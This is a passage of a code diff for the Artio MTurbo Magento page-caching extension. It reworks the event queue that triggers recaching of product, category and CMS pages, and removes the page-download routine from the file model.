357
+
358
+ if (isset($queryInsertCMS))
359
+ $connection->query($queryInsertCMS);
360
+
361
+ // delete general inactive entities
362
+ $connection->query($queryDeleteInActiveStores);
363
+
364
+ // delete non-selected entitities
365
+ $connection->query($queryDeleteCategories);
366
+ $connection->query($queryDeleteProductsLong);
367
+ $connection->query($queryDeleteProductsShort);
368
+ $connection->query($queryDeleteCMS);
369
+
370
+ // delete inactive and not-visible entities
371
+ $connection->query($queryDeleteInactiveProducts);
372
+ $connection->query($queryDeleteInactiveCategories);
373
+ $connection->query($queryDeleteInactiveCms);
374
+
375
+ // delete long url when "use category in product's url" is disabled
376
+ if (isset($queryDeleteProductLongUrlForStores))
377
+ $connection->query($queryDeleteProductLongUrlForStores);
378
+
379
+ } catch (Exception $e) {
380
+ $connection->query("ROLLBACK");
381
+ throw $e;
382
+ }
383
+
384
+ $connection->query("COMMIT");
385
  }
386
 
387
+
388
  /**
389
  * Generate list of rewrited url to urllist file.
390
  * Urllist is used by automatic download by cron.
391
+ */
392
  public function generateUrlList($website=null) {
393
+
394
  // if website is not specified, then generate list for all websites
395
  if (!$website) {
396
+
397
  $websiteCollection = Mage::getModel('core/website')->getCollection()->load();
398
  $result = array();
399
  foreach ($websiteCollection->getItems() as $website)
400
  $result[$website->getName()] = $this->_generateUrlList($website);
401
  return $result;
402
+
403
  } else {
404
  return $this->_generateUrlList($website);
405
  }
406
+
407
  }
408
+
409
  private function _generateUrlList($website) {
410
+
411
  // get config models
412
  $config = Mage::getSingleton('mturbo/config');
413
  $websiteConfig = $config->getWebsiteConfig($website->getCode());
414
+
415
  // if websiteconfig is not specified or website is not enabled then return nothing
416
  if (!$websiteConfig || $websiteConfig->getEnabled()!='1')
417
  return '';
418
+
419
  /* counters */
420
  $completed = 0;
421
+
422
  /* get active store ids, we need to filter corrected records */
423
  $activeStoreIds = Mage::helper('mturbo/website')->getActiveStoreIds($website);
424
+
425
  /* get configuration information */
426
+ $subbase = Mage::helper('mturbo/website')->getSubbase($website->getDefaultStoreview());
427
  $filename = $websiteConfig->getBaseDir().DS.$config->getTurbopath().DS.$subbase.DS.$website->getCode().'.txt';
428
  $batchsize = self::CONFIG_URLLIST_BATCH;
429
+
430
  /* create file */
431
  $file = @fopen($filename, 'w+', true);
432
  if ($file==false) {
434
  Mage::throwException(Mage::helper('mturbo')->__("I can't open/create urllist file '%s'.", $filename));
435
  }
436
 
437
+ /* get collection request_path in alfabeta order */
438
  $collection = $this->getCollection();
439
  $collection->addOrder('request_path', Varien_Data_Collection_Db::SORT_ORDER_ASC);
440
  $collection->addFilter('blocked', 0);
441
  $collection->addFieldToFilter('store_id', array("in"=>$activeStoreIds));
442
  $collection->setPageSize($batchsize);
443
+
444
  /* counters */
445
  $current=1;
446
+
447
  /* loop over collection */
448
  while ($collection->getSize()>$completed) {
449
+
450
+ /* load page collection */
451
  $collection->clear();
452
  $collection->setCurPage($current);
453
  $collection->load();
454
+
455
  $urls = '';
456
  foreach ($collection as $item) {
457
  $fileModel = $item->getFileModel();
458
  $urls .= $fileModel->getAbsolutePath()." ".$fileModel->getDownloadUrlWithNoCache()."\n";
459
  }
460
+
461
+ /* write to file */
462
  if (@fwrite($file, $urls) == false) {
463
  Mage::log("MTurbo: I can't write to urllist file");
464
  Mage::throwException(Mage::helper('mturbo')->__("I can't write to urllist file '%s'", $filename));
465
  }
466
+
467
  $current++;
468
  $completed+=(count($collection));
469
+
470
  }
471
 
472
  return $completed;
473
+
474
+ }
475
+
476
+
477
  /* STATIC METHOD FOR LOADED COLLECTIONS */
478
+
479
  /**
480
  * Loads and retrieves collection by type
481
  */
485
  $collection->load();
486
  return $collection;
487
  }
488
+
489
  /**
490
  * Load collection all rewrite with specified product id.
491
  *
494
  * @return Artio_MTurbo_Model_Mysql4_MTurbo_Collection
495
  */
496
  public function getCollectionByProductIds($productIds, $storeId = -1) {
497
+
498
  if (!is_array($productIds))
499
  $productIds = array($productIds);
500
+
501
  $collection = $this->getCollection();
502
  $collection->addFieldToFilter('product_id', array('in'=>$productIds) );
503
  if ($storeId > -1) $collection->addFieldToFilter('store_id', $storeId);
505
 
506
  $collection->load();
507
  return $collection;
508
+
509
  }
510
+
511
+
512
  /**
513
  * Load collection all rewrite with specified category id,
514
  * and not specified product id.
518
  * @param Artio_MTurbo_Model_Mysql4_MTurbo_Collection
519
  */
520
  public function getCollectionByCategoryIds($categoryIds, $storeId = -1) {
521
+
522
  if (!is_array($categoryIds))
523
  $categoryIds = array($categoryIds);
524
+
525
  $collection = $this->getCollection();
526
  $collection->addFieldToFilter('category_id', array('in'=>$categoryIds) );
527
  $collection->addFieldToFilter('product_id', array('null'=>''));
528
  if ($storeId > -1) $collection->addFieldToFilter('store_id', $storeId);
529
  $collection->addFilter('blocked', 0);
530
  $collection->load();
531
+
532
  return $collection;
533
+
534
  }
535
+
536
+
537
  /**
538
  * Method loads and retrieves collections of mturbo model by page's id.
539
  * @param array|string $pageIds
540
  * @param string $storeId
541
  */
542
  public function getCollectionByCmsIds($pageIds, $storeId = -1) {
543
+
544
  if (!is_array($pageIds))
545
  $pageIds = array($pageIds);
546
+
547
  $collection = $this->getCollection();
548
  $collection->addFieldToFilter('page_id', array('in'=>$pageIds) );
549
  if ($storeId > -1) $collection->addFieldToFilter('store_id', $storeId);
550
  $collection->addFilter('blocked', 0);
551
  $collection->load();
552
+
553
  return $collection;
554
+
555
  }
556
+
557
+
558
  /**
559
  * Function loads collection by request path and retrieves it.
560
  *
561
  * @param $requestPath
562
  * @param int $storeId defualt -1 => all stores
563
+ * @return
564
+ */
565
  public function getCollectionByRequestPath($requestPath, $storeId = -1) {
566
+
567
  $collection = $this->getCollection();
568
  $collection->addFilter('request_path', $requestPath);
569
  $collection->load();
570
+
571
  return $collection;
572
 
573
  }
574
+
575
  }
app/code/local/Artio/MTurbo/Model/Mturbo/Event.php CHANGED
@@ -20,326 +20,175 @@
20
  */
21
 
22
  /**
23
- * MTurbo event model. Maintain requests for manipulation with cached entities.
24
- * (ex. product edit, insert category ...)
25
  *
26
- * Format event queue in configuration
27
- * EVENT!EVENT!EVENT!EVENT!
28
- *
29
- * Format event
30
- * TYPE;ACTION;DATA
31
  *
32
  * @category Artio
33
  * @package Artio_MTurbo
34
  * @author Artio Magento Team (jiri.chmiel@artio.cz)
35
  */
36
  class Artio_MTurbo_Model_MTurbo_Event extends Mage_Core_Model_Abstract {
37
-
38
- const CONFIG_XML_PATH_MTURBO_EVENT = 'mturbo/event/queue';
39
-
40
  const TYPE_CATEGORY_ID = '1';
41
  const TYPE_PRODUCT_ID = '2';
42
  const TYPE_REWRITE_ID = '3';
43
  const TYPE_REQUEST = '4';
44
  const TYPE_CMS_ID = '5';
45
-
46
- private $type = null;
47
- private $data = null;
48
-
49
- /**
50
- * @var bool
51
- */
52
- public static $sync = null;
53
-
54
  /**
 
 
 
 
 
 
 
 
55
  * @var array
56
  */
57
- public static $instance = null;
58
-
59
  /**
60
- * @var Artio_MTurbo_Model_MTurbo
 
 
 
 
 
 
 
61
  */
62
- public static $model = null;
63
-
64
-
65
  /**
66
- * Get queue instance as singleton.
 
 
 
 
 
 
 
 
 
 
 
 
 
 
67
  */
68
- public function getQueue() {
69
-
70
- if (!isset(self::$instance)) {
71
-
72
- self::$model = Mage::getModel('mturbo/mturbo');
73
- self::$instance = array();
74
-
75
- $config = $this->_getQueueContents();
76
-
77
- if (!isset($config)) {
78
- self::$instance = null;
79
- } else {
80
- self::$instance = $this->_restoreQueue($config);
81
- }
82
-
83
- }
84
-
85
  return $this;
86
-
87
- }
88
-
89
-
90
- /**
91
- * Special function for load contents of queue.
92
- * Using function Mage::getStoreConfig is not possible, because it use cache.
93
- */
94
- private function _getQueueContents() {
95
-
96
- $config = Mage::getModel('core/config_data');
97
- $collection = $config->getCollection();
98
- $collection->addFieldToFilter('path', array('like'=>self::CONFIG_XML_PATH_MTURBO_EVENT));
99
- $collection->load();
100
-
101
- $items = $collection->getItems();
102
- $item = array_shift($items);
103
-
104
- return (isset($item)) ? $item->getData('value') : null;
105
-
106
  }
107
-
108
-
109
- /**
110
- * Function restores queue from configuration.
111
- */
112
- private function _restoreQueue($string) {
113
 
114
- /* splits into events */
115
- $configArray = explode("!", $string);
116
-
117
- if (!is_array($configArray))
118
- return null;
119
-
120
- $sync = array_shift($configArray);
121
- if ($sync=='1')
122
- self::$sync = true;
123
-
124
- $result = array();
125
-
126
- /* foreach events */
127
- foreach ($configArray as $configItem) {
128
-
129
- $configItemArray = explode(";", $configItem);
130
-
131
- /* if config event is corect then add event to queue */
132
- $i = 0;
133
- $c = count($configItemArray);
134
- while ($i<$c-1) {
135
-
136
- $event = Mage::getModel('mturbo/mturbo_event');
137
- $event->setType($configItemArray[$i++]);
138
-
139
- $data = $configItemArray[$i++];
140
- if (strpos($data, ',')>0)
141
- $event->setData('ids', explode(",", $data));
142
- else
143
- $event->setData('ids', $data);
144
-
145
- $result[] = $event;
146
-
147
- }
148
- }
149
 
150
- /* if queue is empty return null */
151
- return count($result)>0 ? $result : null;
152
-
153
- }
154
-
155
-
156
  /**
157
- * Function save queue in to configuration.
 
 
 
 
 
 
158
  */
159
- public function saveQueue() {
160
-
161
- try {
162
-
163
- $config = Mage::getModel('core/config_data');
164
-
165
- /* load config record */
166
- $collection = $config->getCollection();
167
- $collection->addFieldToFilter('path', array('like'=>self::CONFIG_XML_PATH_MTURBO_EVENT));
168
- $collection->load();
169
-
170
- /* build config record, if it is empty set path */
171
- $dataObject = null;
172
- if ($collection->getSize()==0) {
173
- $dataObject = Mage::getModel('core/config_data');
174
- $dataObject->setPath(self::CONFIG_XML_PATH_MTURBO_EVENT);
175
- } else {
176
- foreach ($collection as $item) {
177
- $dataObject = $item;
178
- break;
179
- }
180
- }
181
-
182
- $dataObject->setValue($this->_toSerializeString());
183
 
184
- $dataObject->save();
185
-
186
- } catch (Exception $e) {
187
- Mage::log("MTurbo: Saving event queue failed. " . $e->getMessage());
188
- Mage::logException($e);
189
- }
190
-
191
- }
192
-
193
-
194
- /**
195
- * Serialized event to string.
196
- */
197
- private function _toSerializeString() {
198
-
199
- $result = (self::$sync) ? '1!' : '0!';
200
-
201
- if (isset(self::$instance)) {
202
-
203
- foreach (self::$instance as $event) {
204
- $result .= $event->getData('type').';';
205
- $result .= is_array($event->getData('ids')) ? implode(",", $event->getData('ids')).';' : $event->getData('ids').';';
206
- }
207
- $result .= '!';
208
- }
209
-
210
- return $result;
211
-
212
- }
213
-
214
- /**
215
- * Set syncronize indicator.
216
- * Before flush will be mturbo synchronized.
217
- */
218
- public function setSynchronize() {
219
- self::$sync = true;
220
  }
221
-
222
-
223
- /**
224
- * Add item into queue
225
- * @param int $type constant TYPE_*
226
- * @param int $action constant ACTION_*
227
- * @param string $data added data
228
- */
229
- public function addItem($type, $data) {
230
-
231
- if (!isset(self::$instance)) {
232
- self::$instance = array();
233
- }
234
 
235
- $event = Mage::getModel('mturbo/mturbo_event');
236
- $event->setData('type', $type);
237
- $event->setData('ids', $data);
238
 
239
- self::$instance[] = $event;
240
-
241
- }
242
-
243
- /**
244
- * Retrieve default time limit.
245
- */
246
- public function getDefaultLimit()
247
- {
248
- return 90;
249
- }
250
-
251
  /**
252
  * Flush current queue.
 
 
 
253
  */
254
- public function flush($limit = null) {
255
-
256
- if (!isset(self::$instance))
257
- return;
258
-
259
- if (!$limit)
260
- $limit = $this->getDefaultLimit();
261
-
262
- $time = $this->flushSynchronize();
263
-
264
- if ($time>1)
265
- Mage::log("MTurbo <synctime>: $time s");
266
-
267
- if ($time>$limit) {
268
- $this->saveQueue();
269
- self::$instance = null;
270
- self::$sync = null;
271
- return;
272
- }
273
-
274
- $processedKeys = array();
275
-
276
- foreach (self::$instance as $key=>$action) {
277
- $time += $this->flushAction($action);
278
 
279
- $processedKeys[] = $key;
280
-
281
- if ($time>$limit)
282
- break;
283
- }
284
-
285
- foreach ($processedKeys as $k)
286
- unset(self::$instance[$k]);
287
-
288
- $this->saveQueue();
289
- self::$instance = null;
290
- self::$sync = null;
291
- }
292
-
293
- /**
294
- * Flush synchronize bit and retrieve time for executing.
295
- * @return float
296
- */
297
- public function flushSynchronize()
298
- {
299
- $start = microtime(true);
300
 
301
- if (self::$sync) {
302
- self::$model->synchronize();
303
- self::$sync = null;
304
- }
305
-
306
- return microtime(true)-$start;
307
  }
308
-
 
309
  /**
310
- * Flush items in the request and retrieve time for executing
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
311
  */
312
  public function flushAction($action)
313
  {
314
- $start = microtime(true);
315
-
316
  $collection = null;
 
317
  switch ($action->getData('type')) {
318
-
319
  case self::TYPE_CATEGORY_ID:
320
- $collection = self::$model->getCollectionByCategoryIds($action->getData('ids'));
321
  break;
322
  case self::TYPE_PRODUCT_ID:
323
- $collection = self::$model->getCollectionByProductIds($action->getData('ids'));
324
  break;
325
  case self::TYPE_REQUEST:
326
  break;
327
  case self::TYPE_CMS_ID:
328
- $collection = self::$model->getCollectionByCmsIds($action->getData('ids'));
329
  break;
330
  case self::TYPE_REWRITE_ID:
331
  break;
332
-
333
  }
334
 
335
  if (isset($collection)) {
336
- foreach ($collection->getItems() as $item) {
337
- if (!$item->isBlocked())
338
- $item->getFileModel()->downloadPage();
339
- }
 
 
 
 
 
340
  }
341
-
342
- return microtime(true)-$start;
343
  }
344
-
345
- }
 
 
 
 
 
 
 
 
 
20
  */
21
 
22
  /**
23
+ * MTurbo event model.
 
24
  *
 
 
 
 
 
25
  *
26
  * @category Artio
27
  * @package Artio_MTurbo
28
  * @author Artio Magento Team (jiri.chmiel@artio.cz)
29
  */
30
  class Artio_MTurbo_Model_MTurbo_Event extends Mage_Core_Model_Abstract {
31
+
 
 
32
  const TYPE_CATEGORY_ID = '1';
33
  const TYPE_PRODUCT_ID = '2';
34
  const TYPE_REWRITE_ID = '3';
35
  const TYPE_REQUEST = '4';
36
  const TYPE_CMS_ID = '5';
37
+
 
 
 
 
 
 
 
 
38
  /**
39
+ * Static queue of requests to recache pages.
40
+ *
41
+ * The request to recache pages is Varien_Object
42
+ * with 'type' and 'ids'. 'type' is type of pages
43
+ * to recahce (see constants TYPE_*) ids is the
44
+ * identifiers of the pages.
45
+ *
46
+ * @see Artio_MTurbo_Model_MTurbo_Event::addItem
47
  * @var array
48
  */
49
+ protected static $queue = array();
50
+
51
  /**
52
+ * Sync flag. If it set true then method
53
+ * "flush" calls synchronize on Mturbo/Mturbo model.
54
+ *
55
+ * It is required if someone add category or cms page and
56
+ * there is set "add new category" or "add new page" to
57
+ * select.
58
+ *
59
+ * @var bool
60
  */
61
+ protected static $synchronize = false;
62
+
63
+
64
  /**
65
+ * Add item into queue.
66
+ *
67
+ * Ex.: recache product with id=12 and id=13
68
+ *
69
+ * <pre>
70
+ * $queue = Mage::getModel('mturbo/mturbo_event');
71
+ * $queue->addItem(Artio_MTurbo_Model_MTurbo_Event::TYPE_PRODUCT_ID, array(12,13));
72
+ * </pre>
73
+ *
74
+ * You can execute recaching by call method
75
+ * @see Artio_MTurbo_Model_MTurbo_Event::flush()
76
+ *
77
+ * @param int $type constant TYPE_*
78
+ * @param string|array $ids the ids of item or items
79
+ * @return Artio_MTurbo_Model_MTurbo_Event
80
  */
81
+ public function addItem($type, $ids) {
82
+
83
+ self::$queue[] = new Varien_Object(array(
84
+ 'type' => $type,
85
+ 'ids' => $ids
86
+ ));
87
+
 
 
 
 
 
 
 
 
 
 
88
  return $this;
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
89
  }
 
 
 
 
 
 
90
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
91
 
 
 
 
 
 
 
92
  /**
93
+ * Set synchronize flag.
94
+ *
95
+ * If flag is true then method "flush" will
96
+ * call synchronize before recaching.
97
+ *
98
+ * @param bool $flag
99
+ * @return Artio_MTurbo_Model_MTurbo_Event
100
  */
101
+ public function setSynchronizeFlag($flag) {
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
102
 
103
+ self::$synchronize = $flag;
104
+
105
+ return $this;
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
106
  }
 
 
 
 
 
 
 
 
 
 
 
 
 
107
 
 
 
 
108
 
 
 
 
 
 
 
 
 
 
 
 
 
109
  /**
110
  * Flush current queue.
111
+ *
112
+ * @see Artio_MTurbo_Model_MTurbo_Event::addItem
113
+ * @return Artio_MTurbo_Model_MTurbo_Event
114
  */
115
+ public function flush() {
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
116
 
117
+ if (self::$synchronize)
118
+ $this->_getMTurboModel()->synchronize();
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
119
 
120
+ foreach (self::$queue as $action)
121
+ $this->flushAction($action);
122
+
123
+ return $this;
 
 
124
  }
125
+
126
+
127
  /**
128
+ * Flush one action specified by $action.
129
+ *
130
+ * $action must be Varien_Object and must have
131
+ * member 'type' and 'ids'. If no, nothing will be done.
132
+ *
133
+ * Ex.: recache product with id=12 and id=13
134
+ *
135
+ * <pre>
136
+ * $queue = Mage::getModel('mturbo/mturbo_event');
137
+ * $queue->flushAction(new Varien_Object(array(
138
+ * 'type' => Artio_MTurbo_Model_MTurbo_Event::TYPE_PRODUCT_ID,
139
+ * 'ids' => array(12,13)))
140
+ * );
141
+ * </pre>
142
+ *
143
+ * @param Varien_Object $action
144
+ * @return Artio_MTurbo_Model_MTurbo_Event
145
  */
146
  public function flushAction($action)
147
  {
148
+ $mturbo = $this->_getMTurboModel();
149
+
150
  $collection = null;
151
+
152
  switch ($action->getData('type')) {
153
+
154
  case self::TYPE_CATEGORY_ID:
155
+ $collection = $mturbo->getCollectionByCategoryIds($action->getData('ids'));
156
  break;
157
  case self::TYPE_PRODUCT_ID:
158
+ $collection = $mturbo->getCollectionByProductIds($action->getData('ids'));
159
  break;
160
  case self::TYPE_REQUEST:
161
  break;
162
  case self::TYPE_CMS_ID:
163
+ $collection = $mturbo->getCollectionByCmsIds($action->getData('ids'));
164
  break;
165
  case self::TYPE_REWRITE_ID:
166
  break;
167
+
168
  }
169
 
170
  if (isset($collection)) {
171
+
172
+ $downloadQueue = Mage::getSingleton('mturbo/downloadQueue');
173
+ $downloadQueue->clearAndReset();
174
+
175
+ foreach ($collection->getItems() as $item)
176
+ if (!$item->isBlocked())
177
+ $downloadQueue->addMTurboModel($item);
178
+
179
+ $downloadQueue->flush();
180
  }
181
+
182
+ return $this;
183
  }
184
+
185
+
186
+ /**
187
+ * @return Artio_MTurbo_Model_MTurbo
188
+ */
189
+ protected function _getMTurboModel()
190
+ {
191
+ return Mage::getModel('mturbo/mturbo');
192
+ }
193
+
194
+ }
app/code/local/Artio/MTurbo/Model/Mturbo/File.php CHANGED
@@ -31,14 +31,14 @@ class Artio_MTurbo_Model_MTurbo_File extends Mage_Core_Model_Abstract {
31
  const EXT = '.html';
32
  /* used identifier for frontpage */
33
  const FRONTPAGE = 'home';
34
-
35
  /**
36
  * Parent MTurbo model
37
  * @var Artio_MTurbo_Model_MTurbo
38
  */
39
  private $mturbomodel;
40
 
41
-
42
  /**
43
  * Set parent MTurbo model.
44
  *
@@ -47,7 +47,7 @@ class Artio_MTurbo_Model_MTurbo_File extends Mage_Core_Model_Abstract {
47
  public function setTurboModel($mturbomodel) {
48
  $this->mturbomodel = $mturbomodel;
49
  }
50
-
51
 
52
  /**
53
  * Get parent MTurbo model.
@@ -58,7 +58,7 @@ class Artio_MTurbo_Model_MTurbo_File extends Mage_Core_Model_Abstract {
58
  return $this->mturbomodel;
59
  }
60
 
61
-
62
  /**
63
  * Delete cached page.
64
  */
@@ -69,17 +69,17 @@ class Artio_MTurbo_Model_MTurbo_File extends Mage_Core_Model_Abstract {
69
  return true;
70
  }
71
  }
72
-
73
 
74
  /**
75
- * Retrieve change time.
76
  */
77
  public function getChangeTime() {
78
  $unix = filectime( $this->getAbsolutePath() );
79
  return date('Y-m-d H:i:s', $unix);
80
  }
81
 
82
-
83
  /**
84
  * Determines whether exist cached page.
85
  * @return bool
@@ -87,27 +87,27 @@ class Artio_MTurbo_Model_MTurbo_File extends Mage_Core_Model_Abstract {
87
  public function existPage() {
88
  return file_exists( $this->getAbsolutePath() );
89
  }
90
-
91
-
92
  /**
93
  * Retrives size where really occupied in the harddisk.
94
  */
95
  public function getPageSize() {
96
- return filesize( $this->getAbsolutePath() );
97
  }
98
 
99
-
100
  /**
101
  * Retrieve download url with no cache query string
102
  *
103
  * @return string download url witt no cache query string
104
  */
105
  public function getDownloadUrlWithNoCache() {
106
-
107
  $originalUrl = $this->getDownloadUrl();
108
-
109
- /*
110
- * if url contains query string
111
  * then add nocache as next parameter
112
  */
113
  if (strpos($originalUrl, '?')>0) {
@@ -117,17 +117,17 @@ class Artio_MTurbo_Model_MTurbo_File extends Mage_Core_Model_Abstract {
117
  }
118
 
119
  }
120
-
121
-
122
  /**
123
  * Retrieve download url
124
  * @return string download original url
125
  */
126
  public function getDownloadUrl() {
127
-
128
- /* get request path */
129
  $requestPath = $this->mturbomodel->getRequestPath();
130
-
131
  /* base url */
132
  $baseUrl = Mage::getStoreConfig('web/unsecure/base_url', $this->mturbomodel->getStoreId());
133
  $baseUrl = str_ireplace('/index.php/admin', '', $baseUrl);
@@ -135,30 +135,30 @@ class Artio_MTurbo_Model_MTurbo_File extends Mage_Core_Model_Abstract {
135
 
136
  /* get store code */
137
  $storeCode = $this->mturbomodel->getStoreCode();
138
-
139
  /* url is base url */
140
  $url = $baseUrl;
141
-
142
  /* add store_code, when necessary */
143
  if (Mage::getStoreConfig('web/url/use_store')=='1') {
144
  $baseUrl .= $storeCode.'/';
145
  }
146
-
147
  /* add request_path, when necessary */
148
  if ($requestPath != self::FRONTPAGE) {
149
  $baseUrl .= $requestPath;
150
  }
151
-
152
  /* if store_code is not in url then add as query string */
153
  if (Mage::getStoreConfig('web/url/use_store')=='0') {
154
  $baseUrl .= '?___store='.$storeCode;
155
  }
156
-
157
  return $baseUrl;
158
-
159
  }
160
 
161
-
162
  /**
163
  * Retrieve complete path to cached file.
164
  * @return string
@@ -169,175 +169,82 @@ class Artio_MTurbo_Model_MTurbo_File extends Mage_Core_Model_Abstract {
169
  return $websiteconfig->getBaseDir().DS.$config->getTurbopath().DS.$this->getRelativePath();
170
  }
171
 
172
-
173
  /**
174
  * Retrieves relative path from root web.
175
  *
176
  * @return string
177
  */
178
  public function getRelativePath() {
179
-
180
  /*
181
  * Path-to-file rules:
182
- *
183
  * url: www.foo.com/subpath1/subpath2/subpath3
184
  * path: subpath1/subpath2/subpath3.html
185
- *
186
  * Except are frontpages with request /home !
187
- *
188
  * url: www.foo.com/storecode/
189
  * path: storecode.html
190
- *
191
  * url www.foo.com/
192
  * path: DEFAULT_STORE_CODE.html
193
- *
194
  * DEFAULT_STORE_CODE is store code of default storeview.
195
- *
196
  * Url makes by unsecure base url, store code and request.
197
  * Store code is used even when set not to use the store code in the url.
198
- *
199
  */
200
-
201
  /* path is empty */
202
  $path = '';
203
-
204
  /* get information about model */
205
  $storeCode = $this->mturbomodel->getStoreCode();
206
  $baseUrl = $this->mturbomodel->getBaseUrl();
207
  $request = $this->mturbomodel->getRequestPath();
208
-
209
  /* trim request suffix */
210
  $requestArray = explode('.', $request);
211
  $request = $requestArray[0];
212
-
213
  if ($request == self::FRONTPAGE) {
214
-
215
  /* if frontpage then path is storecode.html */
216
  $path = $storeCode;
217
-
218
  } else {
219
-
220
  /* make url without http:// or https:// */
221
  $completeUrl = $baseUrl.$storeCode.DS.$request;
222
  $completeUrl = str_replace('https://', '', $completeUrl);
223
  $completeUrl = str_replace('http://', '', $completeUrl);
224
-
225
  /* explode to array, array[0] is host */
226
  $urlArray = explode(DS, $completeUrl);
227
-
228
  /* remove host */
229
  array_shift($urlArray);
230
-
231
  /* make back to path */
232
  $path = implode(DS, $urlArray);
233
-
234
  }
235
-
236
  /* fix endslash */
237
  if (mb_substr($path, -1)==DS) {
238
  $path = mb_substr($path, 0, mb_strlen($path)-1);
239
  }
240
-
241
  /* add extension */
242
  $path .= self::EXT;
243
  return $path;
244
-
245
- }
246
-
247
 
248
- /**
249
- * Download page and save as static html.
250
- * @param $marked determines whether will be appended current timestamp
251
- * @param $saved determines whether downloaded page will be saved in the harddisk
252
- * @param $resultTest output of result test string
253
- * @param $method used method (default method gather from configuration)
254
- */
255
- public function downloadPage($marked=true, $saved=true, &$resultTest='', $method='') {
256
-
257
- if ($this->getTurboModel()->getType()=='cms' && $this->getTurboModel()->getRequestPath()!='home')
258
- return;
259
-
260
- $resultTest = '';
261
- $html = '';
262
-
263
- /* get configuration model */
264
- $config = Mage::getSingleton('mturbo/config');
265
-
266
- /* if method is empty se default method */
267
- if ($method=='')
268
- $method = $config->getDownloadMethod();
269
-
270
- /* creath path when necessary, get url */
271
- if ($saved) {
272
- $path = $this->getAbsolutePath();
273
- $dirpath = dirname($path);
274
- if (!file_exists($dirpath)) {
275
- if (!Mage::helper('mturbo/functions')->create_dirs($dirpath))
276
- Mage::throwException(Mage::helper('mturbo')->__("I can't create '%s'. Please, check permission to create this directory.", $dirpath));
277
- }
278
- $url = $this->getDownloadUrlWithNoCache();
279
- } else {
280
- $url = Mage::getUrl();
281
- $url = str_replace("admin/", "", $url);
282
- }
283
-
284
- /* get download method */
285
- $downloadMethodsFactory = Mage::getModel('mturbo/downloadMethodsFactory');
286
- $downloadMethod = $downloadMethodsFactory->getMethod($method);
287
-
288
- try {
289
-
290
- $html = $downloadMethod->downloadPage($url);
291
- if (!$this->_checkHtml($html)) {
292
- Mage::throwException(Mage::helper('mturbo')->__('Page is too small or 404'));
293
- }
294
-
295
- } catch (Exception $e) {
296
- if ($saved) Mage::throwException($e->getMessage());
297
- $resultTest = $downloadMethod->getErrorMessage() . '(' . $e->getMessage() . ')';
298
- return;
299
- }
300
-
301
- /* marks file when it is turned */
302
- if ($marked) $html.= "<!-- " . date('D M j H:i:s e o') . " -->";
303
-
304
- /* save file in the hard whet it is turned */
305
- if ($saved) file_put_contents($path, $html);
306
-
307
- if ($resultTest=='' && is_string($html) && ($html!=''))
308
- $resultTest = round((strlen($html) / (float)1024), 2);
309
- else if ($resultTest=='' && $html=='')
310
- $resultTest = Mage::helper('mturbo')->__('empty output');
311
-
312
-
313
  }
314
 
315
- /**
316
- * Function checks download html. Retrieves FALSE when file is too little or
317
- * find within 404 code
318
- * @param $html checked html
319
- * @return bool TRUE when html is correct, otherwise FALSE
320
- */
321
- private function _checkHtml(&$html) {
322
-
323
- if (!is_string($html))
324
- return false;
325
-
326
- if (strlen($html) < Mage::getSingleton('mturbo/config')->getMinimalPageSize())
327
- return false;
328
-
329
- $title = (string) Mage::helper('mturbo')->getNoRouteTitle($this->mturbomodel->getStoreId());
330
- if (strlen($title)>1) { // if title is empty then quite ignoring
331
- if (strpos($html, "<title>$title")!==false) {
332
- return false;
333
- }
334
- }
335
-
336
- return true;
337
-
338
- }
339
 
340
-
341
  /**
342
  * Clear all pages.
343
  */
@@ -346,21 +253,21 @@ class Artio_MTurbo_Model_MTurbo_File extends Mage_Core_Model_Abstract {
346
  $config = Mage::getSingleton('mturbo/config');
347
  $turbopath = $config->getTurbopath();
348
  $pattern = '/(.)*\.html/';
349
-
350
  $websites = Mage::getModel('core/website')->getCollection()->load();
351
  foreach ($websites as $website) {
352
-
353
  $websiteConfig = $config->getWebsiteConfig($website->getCode());
354
 
355
  $baseDir = $websiteConfig->getBaseDir();
356
-
357
  Mage::helper('mturbo/functions')->unlink_recursive($baseDir.DS.$turbopath, $pattern);
358
-
359
  $htaccess = Mage::getModel('mturbo/htaccess')->setWebsiteCode($website->getCode());
360
  $htaccess->copySideHtaccess();
361
 
362
  }
363
-
364
  }
365
-
366
- }
31
  const EXT = '.html';
32
  /* used identifier for frontpage */
33
  const FRONTPAGE = 'home';
34
+
35
  /**
36
  * Parent MTurbo model
37
  * @var Artio_MTurbo_Model_MTurbo
38
  */
39
  private $mturbomodel;
40
 
41
+
42
  /**
43
  * Set parent MTurbo model.
44
  *
47
  public function setTurboModel($mturbomodel) {
48
  $this->mturbomodel = $mturbomodel;
49
  }
50
+
51
 
52
  /**
53
  * Get parent MTurbo model.
58
  return $this->mturbomodel;
59
  }
60
 
61
+
62
  /**
63
  * Delete cached page.
64
  */
69
  return true;
70
  }
71
  }
72
+
73
 
74
  /**
75
+ * Retrieve change time.
76
  */
77
  public function getChangeTime() {
78
  $unix = filectime( $this->getAbsolutePath() );
79
  return date('Y-m-d H:i:s', $unix);
80
  }
81
 
82
+
83
  /**
84
  * Determines whether exist cached page.
85
  * @return bool
87
  public function existPage() {
88
  return file_exists( $this->getAbsolutePath() );
89
  }
90
+
91
+
92
  /**
93
  * Retrives size where really occupied in the harddisk.
94
  */
95
  public function getPageSize() {
96
+ return filesize( $this->getAbsolutePath() );
97
  }
98
 
99
+
100
  /**
101
  * Retrieve download url with no cache query string
102
  *
103
  * @return string download url witt no cache query string
104
  */
105
  public function getDownloadUrlWithNoCache() {
106
+
107
  $originalUrl = $this->getDownloadUrl();
108
+
109
+ /*
110
+ * if url contains query string
111
  * then add nocache as next parameter
112
  */
113
  if (strpos($originalUrl, '?')>0) {
117
  }
118
 
119
  }
120
+
121
+
122
  /**
123
  * Retrieve download url
124
  * @return string download original url
125
  */
126
  public function getDownloadUrl() {
127
+
128
+ /* get request path */
129
  $requestPath = $this->mturbomodel->getRequestPath();
130
+
131
  /* base url */
132
